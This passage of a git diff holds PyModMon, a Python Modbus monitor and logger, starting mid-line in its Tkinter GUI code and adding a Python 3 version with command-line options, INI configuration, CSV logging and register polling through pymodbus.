Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = 